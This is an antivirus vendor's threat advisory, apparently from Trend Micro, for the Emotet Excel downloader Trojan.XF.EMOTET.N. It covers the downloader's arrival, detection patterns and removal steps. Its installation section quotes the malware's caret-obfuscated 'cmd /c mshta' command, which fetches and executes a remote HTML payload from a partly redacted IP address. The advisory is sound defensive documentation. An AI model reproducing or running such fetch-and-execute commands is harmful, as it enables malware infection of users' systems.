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Trojan.XF.EMOTET.N

December 29, 2021
 ALIASES:

TrojanDownloader:O97M/Emotet.RVA!MTB (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

65,200 bytes

File Type:

XLS

Memory Resident:

No

Initial Samples Received Date:

28 Dec 2021

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • cmd /c m^sh^t^a h^tt^p^:/^/{BLOCKED}.{BLOCKED}.86.178/pp/aa.html
  • mshta http://{BLOCKED}.{BLOCKED}.86.178/pp/aa.html

Other Details

However, as of this writing, the said sites are inaccessible.

NOTES:

This Trojan does the following:

  • It executes code from the following remote site :
    • http://{BLOCKED}.{BLOCKED}.86.178/pp/aa.html

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.280.04

FIRST VSAPI PATTERN DATE:

28 Dec 2021

VSAPI OPR PATTERN File:

17.281.00

VSAPI OPR PATTERN Date:

29 Dec 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.XF.EMOTET.N. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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